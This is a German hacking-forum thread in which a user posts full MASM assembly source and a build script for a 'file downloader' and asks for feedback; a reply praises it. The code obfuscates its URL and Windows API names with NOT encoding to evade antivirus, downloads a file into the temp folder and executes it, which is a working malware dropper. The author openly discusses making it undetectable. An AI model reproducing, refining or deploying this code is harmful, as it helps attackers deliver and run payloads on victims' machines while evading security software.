Ergebnis 1 bis 2 von 2
  1. #1
    Der mit Anatidaephobie Avatar von blackberry
    Registriert seit
    11.07.2008
    Beiträge
    2.350

    Standard [B] ASM File Downloader

    Ich habs nicht geschafft das ganze UD zu bekommen (18/32) also poste ich einfach mal den Quellcode falls es Jemanden interessiert (damit es nicht ganz umsonst war ^^)...

    Ich habe versucht über eine simple NOT-Verknüpfungs-Verschlüsselung den Downloader etwas zu verschleiern (hat auch bei ein paar AVs geklappt).
    Um den downloadURL zu ändern muss er erstmal kodiert werden (ich habe ein C code snippet dafür über der url definition angehängt).
    Vom URL wird dann der Dateiname extrahiert und an GetTempPath angefügt.
    Der momentane downloadURL ist http://www.google.de/index.html.

    Als compiler (sowie linker) habe ich MASM verwendet.
    Hier ist compile.bat
    Code:
    ECHO OFF
    DEL downloader.exe
    CLS
    
    ml /c /coff downloader.asm
    
    ECHO.
    ECHO.
    
    link /subsystem:windows downloader
    
    DEL downloader.obj
    
    PAUSE

    und hier ist downloader.asm
    Code:
    ;;;;;; ASM File Downloader v0.1
    ;;;;;;            by BlackBerry
    
    
    .386
    .MODEL FLAT, STDCALL
    OPTION CASEMAP :NONE
    
    include \masm32\include\windows.inc
    include \masm32\include\kernel32.inc
    include \masm32\include\shell32.inc
    include \masm32\include\urlmon.inc
    
    includelib \masm32\lib\kernel32.lib
    includelib \masm32\lib\shell32.lib
    includelib \masm32\lib\urlmon.lib
    
    .DATA?
        buffsz DD ?
        hdl DD ?
        hfc DD ?
    .DATA
        urlsz DD 31
        ; ENCODED URL ( buffer[] = "URL"; for(int x=0;x<strlen(buffer);x++) buffer[x] = ~buffer[x]; )
        url DB 151, 139, 139, 143, 197, 208, 208, 136, 136, 136, 209, 152, 144, 144, 152, 147, 154, 209, 155, 154, 208, 150, 145, 155, 154, 135, 209, 151, 139, 146, 147, 255, 255, 255
        
        buffer DB 200 DUP(?)
        dll1 DB 148, 154, 141, 145, 154, 147, 204, 205, 255 ; SZ = 8
        dll2 DB 138, 141, 147, 146, 144, 145, 255 ; SZ = 6
        dll3 DB 140, 151, 154, 147, 147, 204, 205, 255 ; SZ = 7
        fnc1 DB 184, 154, 139, 171, 154, 146, 143, 175, 158, 139, 151, 190, 255 ; SZ = 12
        fnc2 DB 170, 173, 179, 187, 144, 136, 145, 147, 144, 158, 155, 171, 144, 185, 150, 147, 154, 190, 255 ; SZ = 18
        fnc3 DB 172, 151, 154, 147, 147, 186, 135, 154, 156, 138, 139, 154, 190, 255 ; SZ = 13
    .CODE
        Start1:
            decode1 MACRO data, sz
                LOCAL Loop0, EndLoop0
                pusha
                mov eax, sz
                Loop0:
                    mov ebx, OFFSET data
                    add ebx, eax
                    mov dl, [ebx]
                    not dl
                    mov byte ptr [ebx], dl
                    
                    cmp eax, 0
                    je EndLoop0
                    
                    dec eax
                    
                    jmp Loop0
                EndLoop0:
                popa
            ENDM
            
            check1 MACRO data
                mov data, eax
                cmp data, 0
                je Exit1
            ENDM
            
            decode1 url, urlsz
            decode1 dll1, 8
            decode1 dll2, 6
            decode1 dll3, 7
            decode1 fnc1, 12
            decode1 fnc2, 18
            decode1 fnc3, 13
            
            invoke LoadLibrary, ADDR dll1
            check1 hdl
            invoke GetProcAddress, hdl, ADDR fnc1
            check1 hfc
            ; invoke GetTempPath, 200, ADDR buffer
            push OFFSET buffer
            push 200
            call dword ptr hfc
            
            ; get extension
            mov eax, urlsz
            Loop1:
                dec eax
                
                mov ebx, OFFSET url
                add ebx, eax
                mov dl, [ebx]
                
                cmp dl, 47
                je EndLoop1
                
                cmp eax, 0
                je Exit1
                
                jmp Loop1
            EndLoop1:
            
            ; write extension
            Loop2:
                inc eax
                mov edx, OFFSET url
                add edx, eax
                mov dl, [edx]
                
                mov ebx, OFFSET buffer
                add ebx, buffsz
                inc buffsz
                mov byte ptr [ebx], dl
                
                cmp eax, urlsz
                je EndLoop2
                jmp Loop2
            EndLoop2:
            
            invoke LoadLibrary, ADDR dll2
            check1 hdl
            invoke GetProcAddress, hdl, ADDR fnc2
            check1 hfc
            ; invoke URLDownloadToFile, 0, ADDR url, ADDR buffer, 0, 0
            push 0
            push 0
            push OFFSET buffer
            push OFFSET url
            push 0
            call dword ptr hfc
            cmp eax, S_OK
            jne Exit1
            
            invoke LoadLibrary, ADDR dll3
            check1 hdl
            invoke GetProcAddress, hdl, ADDR fnc3
            check1 hfc
            ; invoke ShellExecute, NULL, NULL, ADDR buffer, NULL, NULL, SW_SHOW
            push SW_SHOW
            push NULL
            push NULL
            push OFFSET buffer
            push NULL
            push NULL
            call dword ptr hfc
            
        Exit1:
            invoke ExitProcess, 0
    END Start1
    Würde mich über feedback freuen


    mfG. BlackBerry
    Geändert von blackberry (12.04.2015 um 18:29 Uhr)

    PDFTT cr3w a.E. — ReiDC0Re, lindor, Sera, berry
    please do feed the trolls crew and elk
    Ehrenwerte Mitglieder im Ruhestand: OpCodez, SFX.
    "Was sich blackberry gerade denkt" — Vorsicht! Frei laufender Wahnsinn!
    Zitat von fuckinghot19: "PS: Blackberry ist auf FH der Trollkönig ^^."
    An dieser Stelle danke ich all meinen Fans und Hatern gleichermaßen ^.^

  2. #2
    Anfänger
    Registriert seit
    14.07.2008
    Beiträge
    28

    Standard

    nice nice kann ich gut gebrauchen.. bin vor zwei tagen mit ASM angefangen (Kanns auch schon sehr gut.. jaja klingt schnell.. aber ich bin noch jung und mein gehirn lernfähig )

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •